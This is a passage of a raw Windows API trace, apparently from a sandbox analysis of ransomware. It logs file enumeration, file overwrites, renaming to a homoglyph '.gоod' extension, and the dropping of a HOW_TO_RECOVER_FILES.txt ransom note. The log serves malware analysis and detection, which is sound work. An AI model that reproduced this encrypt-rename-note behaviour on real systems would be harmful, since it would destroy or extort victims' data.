dwReserved1=0x0, cFileName="vcredist_x64.exe", cAlternateFileName="VCREDI~1.EXE")) returned 1 [0078.771] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd408c921, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd408c921, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xd4040448, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x710a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x64.exe", cAlternateFileName="VCREDI~1.EXE")) returned 0 [0078.771] FindClose (in: hFindFile=0x1ec32770 | out: hFindFile=0x1ec32770) returned 1 [0078.771] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0078.771] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0078.771] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm", lpFilePart=0x0) returned 0x4d [0078.771] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0078.771] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm"), fInfoLevelId=0x0, lpFileInformation=0x32d6678 | out: lpFileInformation=0x32d6678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd40b2b5b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd40b2b5b, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x3639a1f2, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x27e)) returned 1 [0078.772] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0078.772] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm", lpFilePart=0x0) returned 0x4d [0078.772] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0078.772] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x760 [0078.772] GetFileType (hFile=0x760) returned 0x1 [0078.772] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0078.772] GetFileType (hFile=0x760) returned 0x1 [0078.772] GetFileSize (in: hFile=0x760, lpFileSizeHigh=0x1f59de08 | out: lpFileSizeHigh=0x1f59de08*=0x0) returned 0x27e [0078.772] ReadFile (in: hFile=0x760, lpBuffer=0x32d6bd0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd38, lpOverlapped=0x0 | out: lpBuffer=0x32d6bd0*, lpNumberOfBytesRead=0x1f59dd38*=0x27e, lpOverlapped=0x0) returned 1 [0078.773] CloseHandle (hObject=0x760) returned 1 [0079.370] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm", lpFilePart=0x0) returned 0x4d [0079.371] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0079.371] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x76c [0079.371] GetFileType (hFile=0x76c) returned 0x1 [0079.371] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0079.371] GetFileType (hFile=0x76c) returned 0x1 [0079.372] WriteFile (in: hFile=0x76c, lpBuffer=0x3331628*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x1f59dc48, lpOverlapped=0x0 | out: lpBuffer=0x3331628*, lpNumberOfBytesWritten=0x1f59dc48*=0x280, lpOverlapped=0x0) returned 1 [0079.372] CloseHandle (hObject=0x76c) returned 1 [0079.373] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm", lpFilePart=0x0) returned 0x4d [0079.373] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm.gоod", lpFilePart=0x0) returned 0x52 [0079.373] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0079.373] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd40b2b5b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd40b2b5b, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x2b86431f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x280)) returned 1 [0079.373] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0079.374] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm"), lpNewFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm.gоod" (normalized: "c:\\programdata\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm.gоod")) returned 1 [0079.375] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe", lpFilePart=0x0) returned 0x54 [0079.375] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0079.375] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe" (normalized: "c:\\programdata\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe"), fInfoLevelId=0x0, lpFileInformation=0x33328e8 | out: lpFileInformation=0x33328e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd408c921, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd408c921, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xd4040448, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x710a8)) returned 1 [0079.375] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0079.375] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe", lpFilePart=0x0) returned 0x54 [0079.375] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0079.375] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe" (normalized: "c:\\programdata\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x76c [0079.375] GetFileType (hFile=0x76c) returned 0x1 [0079.375] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0079.375] GetFileType (hFile=0x76c) returned 0x1 [0079.375] SetFilePointer (in: hFile=0x76c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x1000 [0079.375] ReadFile (in: hFile=0x76c, lpBuffer=0x3332d50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59ddd8, lpOverlapped=0x0 | out: lpBuffer=0x3332d50*, lpNumberOfBytesRead=0x1f59ddd8*=0x1000, lpOverlapped=0x0) returned 1 [0079.391] CloseHandle (hObject=0x76c) returned 1 [0079.391] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe", lpFilePart=0x0) returned 0x54 [0079.391] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0079.392] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe" (normalized: "c:\\programdata\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x76c [0079.392] GetFileType (hFile=0x76c) returned 0x1 [0079.392] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0079.392] GetFileType (hFile=0x76c) returned 0x1 [0079.392] SetFilePointer (in: hFile=0x76c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x710a8 [0079.392] WriteFile (in: hFile=0x76c, lpBuffer=0x3334010*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59dcf8, lpOverlapped=0x0 | out: lpBuffer=0x3334010*, lpNumberOfBytesWritten=0x1f59dcf8*=0x10, lpOverlapped=0x0) returned 1 [0079.393] CloseHandle (hObject=0x76c) returned 1 [0079.404] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe", lpFilePart=0x0) returned 0x54 [0079.404] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0079.404] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe" (normalized: "c:\\programdata\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x76c [0079.404] GetFileType (hFile=0x76c) returned 0x1 [0079.404] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0079.404] GetFileType (hFile=0x76c) returned 0x1 [0079.404] ReadFile (in: hFile=0x76c, lpBuffer=0x3336550, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd88, lpOverlapped=0x0 | out: lpBuffer=0x3336550*, lpNumberOfBytesRead=0x1f59dd88*=0x1000, lpOverlapped=0x0) returned 1 [0079.941] CloseHandle (hObject=0x76c) returned 1 [0079.941] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe", lpFilePart=0x0) returned 0x54 [0079.941] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0079.941] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe" (normalized: "c:\\programdata\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x76c [0079.941] GetFileType (hFile=0x76c) returned 0x1 [0079.941] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0079.941] GetFileType (hFile=0x76c) returned 0x1 [0079.942] WriteFile (in: hFile=0x76c, lpBuffer=0x31a41c0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59de38, lpOverlapped=0x0 | out: lpBuffer=0x31a41c0*, lpNumberOfBytesWritten=0x1f59de38*=0x1010, lpOverlapped=0x0) returned 1 [0079.942] CloseHandle (hObject=0x76c) returned 1 [0079.949] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe", lpFilePart=0x0) returned 0x54 [0079.949] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe.gоod", lpFilePart=0x0) returned 0x59 [0079.949] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0079.949] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe" (normalized: "c:\\programdata\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd408c921, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd408c921, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x2bde7c80, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x710b8)) returned 1 [0079.949] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0079.949] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe" (normalized: "c:\\programdata\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe.gоod" (normalized: "c:\\programdata\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe.gоod")) returned 1 [0079.950] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x5c [0079.950] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0079.950] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x76c [0080.166] GetFileType (hFile=0x76c) returned 0x1 [0080.166] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0080.166] GetFileType (hFile=0x76c) returned 0x1 [0080.167] WriteFile (in: hFile=0x76c, lpBuffer=0x3541a08*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x3541a08*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0080.168] CloseHandle (hObject=0x76c) returned 1 [0080.168] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0080.168] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpFilePart=0x0) returned 0x4f [0080.168] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebf4ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9affe46, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32770 [0080.169] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebf4ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9affe46, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.169] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebfbe2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9affe46, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0080.169] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebfbe2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9affe46, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0080.169] FindClose (in: hFindFile=0x1ec32770 | out: hFindFile=0x1ec32770) returned 1 [0080.169] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0080.170] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0080.170] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0080.170] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpFilePart=0x0) returned 0x4f [0080.170] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebf4ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9affe46, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32b90 [0080.170] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebf4ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9affe46, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.170] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebfbe2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9affe46, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0080.170] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0080.170] FindClose (in: hFindFile=0x1ec32b90 | out: hFindFile=0x1ec32b90) returned 1 [0080.170] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0080.170] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0080.171] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d5d0) returned 1 [0080.171] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages", nBufferLength=0x105, lpBuffer=0x1f59d070, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages", lpFilePart=0x0) returned 0x58 [0080.171] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\*", lpFindFileData=0x1f59d2f0 | out: lpFindFileData=0x1f59d2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebfbe2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9affe46, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32770 [0080.171] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebfbe2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9affe46, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.171] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec031b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0080.171] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec031b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0080.172] FindClose (in: hFindFile=0x1ec32770 | out: hFindFile=0x1ec32770) returned 1 